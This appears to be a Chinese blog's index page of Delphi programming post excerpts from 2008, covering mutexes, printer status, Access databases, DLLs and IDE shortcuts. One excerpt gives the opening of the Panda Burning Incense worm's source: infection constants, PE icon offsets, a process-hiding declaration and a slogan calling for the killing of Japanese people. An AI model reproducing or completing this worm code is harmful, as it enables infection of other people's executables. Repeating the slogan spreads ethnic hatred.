博文

禁止多实例运行(2008-08-21 15:08:00)

摘要:program Project1; uses
  Windows,
  Forms,
  Unit1 in 'Unit1.pas' {Form1},
  Function_U in 'E:\工作\JJQDS_V2\Function_U.pas',
  Config_U in 'E:\工作\JJQDS_V2\Config_U.pas'; {$R *.res} var
  hAppMutex : THandle; begin
  Application.Initialize;
  hAppMutex := CreateMutex(nil,False,PChar('{19D51511-8490-42AC-B677-E3D59AF822B1}'));
  if hAppMutex = 0 then
  begin
    MessageBox(0,PChar('创建互斥对象失败!'),PChar('Error'),MB_OK + MB_ICONINFORMATION);
    Exit;
  end;
  if (hAppMutex <> 0) and (GetLastError = ERROR_ALREADY_EXISTS) then
  begin
    MessageBox(0,PChar('不是第一次运行这个程序!'),PChar('OK'),MB_OK + MB_ICONINFORMATION);
    CloseHandle(hAppMutex);
    Exit;
  end; 
  Application.CreateForm(TForm1, Form1);
  Application.Run;
  CloseHandle(hAppMutex);
end. =====......

阅读全文(2135) | 评论:0

打印机编程整理(2008-08-11 14:28:00)

摘要:  { tell printer to go to the default by setting
    the PrinterIndex value to -1 }
  Printer.PrinterIndex := -1;

  { make our combobox non-editable }
  ComboBox1.Style      := csDropDownList;

  { set our combobox items to the printer printers }
  ComboBox1.Items      := Printer.Printers;

  { set combobox to view the default printer
    according to printer printerindex as set above }
  ComboBox1.ItemIndex  := Printer.PrinterIndex;
=================================================================== //从并行端口读取打印机状态
function GetPrinterStatus:byte;
asm
  MOV DX,$379;
  IN AL,DX;
end;
//获取打印机是否出错
function CheckPrinter:boolean;
var
temp:byte;
begin
  temp:=GetPrinterStatus;
  Result:=not ( ((temp a......

阅读全文(3378) | 评论:2

ACCESS,SQL(包含字段类型说明,及语法创建表)(2008-08-06 11:00:00)

摘要: // ACCESS,SQL(包含字段类型说明,及语法创建表) ACCESS所有类型为:
 Big Integer、Binary、Boolean、Byte、Char、Currency、Date/Time、Decimal、Double、Float、GUID、Integer、Long、Long Binary (OLE Object)、Memo、Numeric、Single、Text、Time、TimeStamp 以及 VarBinary。 常用的几种:
Date/Time 日期/时间
Boolean 是/否
Decimal 小数
Memo 备注
Text 文本
Integer 整数 如果用自动编号且主键,如下:
create table table1 (id autoincrement(1,1) primary key) 

CREATE TABLE AAA(RID Counter,url Memo,ActName Memo, ActDate text(150), Up_Time text(100))

连接字符串:conn = "Provider = Microsoft.Jet.OLEDB.4.0;Data Source = 法律之星.mdb";

SQL SERVER 2005:
     DATENAME 返回代表指定日期的指定日期部分的字符串。 语法 DATENAME ( datepart , date ) 参数 datepart 是指定应返回的日期部分的参数。下表列出了 Microsoft® SQL Server™ 识别的日期部分和缩写。 日期部分 缩写 year yy, yyyy quarter qq, q month mm, m dayofyear dy, y day dd, d week wk, ww weekday dw Hour hh minute mi, n second ss, s millisecond ms
weekd......

阅读全文(3603) | 评论:0

delphi动态创建access数据库(2008-08-06 09:00:00)

摘要:主  题:我解决了几乎所有Delphi+Access同仁的问题—动态创建、压缩Access数据库(*.MDB)
作  者:Hank
所属论坛:Delphi
问题点数:30
回复次数:13
发表时间:2000-12-29 17:19:00

 
  动态创建、压缩Access数据库(*.MDB)

声明:这是前无古人,后无来者的解决方案(有点吹,但是我实在太激动了!),希望各位能多多关照
创建Access数据库几乎是所有Delphi+Access所遇到的难题,我经过两头(昨天上午到现在)的艰苦奋战,终于将它全部解开,现在一一奉献给大家:

一、通过OLE方式创建
    相信各位都用通过OLE方式访问Word、Excel文件的经历,具体我不说太多,直接把具体代码写出来就完了
    在引用部分加入:
    uses ComObj;
    实现部分:
    procedure TFormOffice.BitBtn1Click(Sender: TObject);
    var
      CreateAccess:OleVariant;
    begin
      CreateAccess:=CreateOleObject('ADOX.Catalog');
      CreateAccess.Create('Provider=Microsoft.Jet.OLEDB.4.0;Data Source=c:\Aceco.mdb');
    end;

    说明:
      1、在C:\下创建Aceco.mdb;
      2、是Access2000格式,用Access97打不开;
      3、系统需安装......

阅读全文(6244) | 评论:0

[Delphi]熊猫烧香源代码(2008-08-05 16:26:00)

摘要:声明:代码仅供学习研究用,若用此程序进行违法活动一切后果由你本人承担,否则,请马上离开.program Japussy;
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
HeaderSize = 82432; //病毒体的大小
IconOffset = $12EB8; //PE文件主图标的偏移量

//在Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同 PS:现在都Delphi 7 了.
//查找2800000020的十六进制字符串可以找到主图标的偏移量

{
HeaderSize = 38912; //Upx压缩过病毒体的大小
IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量

//Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}
IconSize = $2E8; //PE文件主图标的大小--744字节
IconTail = IconOffset + IconSize; //PE文件主图标的尾部
ID = $44444444; //感染标记

//垃圾码,以备写入
Catchword = 'If a race need to be killed out, it must be Yamato. ' +
'If a country need to be destroyed, it must be Japan! ' +
'*** W32.Japussy.Worm.A ***';
{$R *.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
stdcall; external 'Kernel32.dll'; //函数声明
var
TmpFile: string;
Si: STARTUPINFO;
Pi: PROCESS_INFORMATION;
IsJap:......

阅读全文(2623) | 评论:0

delphi 枚举与子界(2008-08-05 11:12:00)

摘要:初学者对于枚举与子界比较容易混淆,特别是有些朋友是自学的.
下边就举个既联系又区别的例子: {枚举和子界的声明定义}
type
          Month=(Jan,Feb,Mar,Apr,May,Jun,Jul,Aug,Sep,Oct,Nov,Dec);          //定义Month(月份)为枚举型
          Spring=Feb..May;           //定义Spring(春天)为子界型 {几个枚举函数}     
         Ord(Mar)的值为2;        //求枚举序数字
         Pred(Mar)的值为1;       //求前驱值
         Succ(Mar)的值为3;       //求后继值
         Low(Month)的值为0;      //求第一个枚举量,是Jan对应的值,但有不少初学的朋友误以为它的值是"Jan"
         High(Month)的值为11; //......

阅读全文(3105) | 评论:0

delphi dll 动态连接(2008-08-04 20:44:00)

摘要:节约系统开销,方便软件升级。


动态链接库是一个能够被应用程序和其它的DLL调用的过程和函数的集合体,它里面包含的是公共代码或资源。由于DLL代码使用了内存共享技术,在某些地方windows也给了DLL一些更高的权限,因而DLL中可以实现一些一般程序所不能实现的功能,如实现windows的HOOK、ISAPI等。同时,DLL还为不同语言间代码共享提供了一条方便的途径。因而DLL在编程时应用较为广泛,本文将介绍如何在 Delphi 中建立和使用DLL。
一.DLL 库内存共享机制
从使用效果看,DLL和unit 很像,它们都可以被别的工程模块所调用,但二者在内部的实现机制上确存在着差别。如果一个程序模块中用uses语句引用了某个unit,编译程序在编译该模块时,便会连同unit一起编译,并把编译后的可执行代码链接到本程序模块中,这就是一个程序模块能够调用所引用unit中过程和函数的原因。当同一个unit被多个工程所引用时,则每个工程中都含有该unit的可执行代码,当含有该unit的多个工程同时执行时,unit的可执行代码会随不同工程而多次被调入内存,造成内存资源的浪费。DLL则不同,它即使被某个工程调用,编译后仍是独立的,也就是说编译后,一个DLL库形成一个单独的可执行文件,而不与任何其它的可执行文件连接在一起,因而DLL库并不从属于某个特定的工程,当多个工程调用同一个DLL库时只有第一个工程把DLL库调入内存,其余工程并不重复调入同一个DLL库到内存,而是到同一个共享内存区读取。并且,DLL的执行代码是在程序运行期间动态调入的,而不是如unit在程序运行时就与整个工程一起调入内存。这样便可消除unit带来的相同代码多处占用内存的弊病。
二 Delphi中DLL库的建立
在Delphi环境中,编写一个DLL同编写一个一般的应用程序并没有太大的区别。事实上作为DLL主体的DLL函数的编写,除了在内存、资源的管理上有所不同外,并不需要其它特别的手段。
一般工程文件的格式为:
program 工程标题;
uses 子句;
程序体
而DLLs工程文件的格式为:
library 工程标题;
uses 子句;
exprots 子句;
程序体
它们主......

阅读全文(2652) | 评论:0

高等数学符号读法(2008-08-04 08:48:00)

摘要:大写 小写 英文注音 国际音标注音 中文注音
Α α alpha alfa 阿耳法
Β β beta beta 贝塔
Γ γ gamma gamma 伽马
Δ δ deta delta 德耳塔
Ε ε epsilon epsilon 艾普西隆
Ζ ζ zeta zeta 截塔
Η η eta eta 艾塔
Θ θ theta θita 西塔
Ι ι iota iota 约塔
Κ κ kappa kappa 卡帕
∧ λ lambda lambda 兰姆达
Μ μ mu miu 缪
Ν ν nu niu 纽
Ξ ξ xi ksi 可塞
Ο ο omicron omikron 奥密可戎
∏ π pi pai 派
Ρ ρ rho rou 柔
∑ σ sigma sigma 西格马
Τ τ tau tau 套
Υ υ upsilon jupsilon 衣普西隆
Φ φ phi fai 斐
Χ χ chi khai 喜
Ψ ψ psi psai 普西
Ω ω omega omiga 欧米伽......

阅读全文(6472) | 评论:0

Delphi 快捷键(转)(2008-08-04 08:38:00)

摘要:Delphi 快捷键(转)  Ctrl+PageUp      将光标移至本屏的第一行,屏幕不滚动。
 Ctrl+PageDown    将光标移至本屏的最后一行,屏幕不滚动。
 Ctrl+↓          向下滚动屏幕,光标跟随滚动不出本屏。
 Ctrl+↑          向上滚动屏幕,光标跟随滚动不出本屏。
 Ctrl+Shift+NUM   在光标行设置最多九个临时标志号,对临时切换非常有用。
                  行的左边将出现一本书,封面有NUM,再按一次取消设置。 
 Ctrl+NUM         直接将光标跳到NUM处,NUM是用Ctrl+Shift+NUM设置的标号。
                  NUM不能用小键盘。
 Ctrl+Home        将光标移至文件头。
 Ctrl+End         将光标移至文件尾。
 Ctrl+B           Buffer List窗口。
 Ctrl+I......

阅读全文(2107) | 评论:0

delphi获取打印任务(2008-08-03 22:14:00)

摘要:type  
      TForm1   =   class(TForm)  
          Label1:   TLabel;  
      private  
          {   Private   declarations   }  
          procedure   WM_SpoolerStatus(var   Msg   :   TWMSPOOLERSTATUS);message   WM_SPOOLERSTATUS;  
   
      public  
          {   Public   declarations   }  
      end;  
   
  var  
      Form1:   TForm1;  
   
  implementation  
   
  {$R   *.dfm}  
   
  procedure   TForm1.WM_SpoolerStatus(var   Msg   :   TWMSPOOLERSTATUS);  
  begin  
    &nbs......

阅读全文(3332) | 评论:0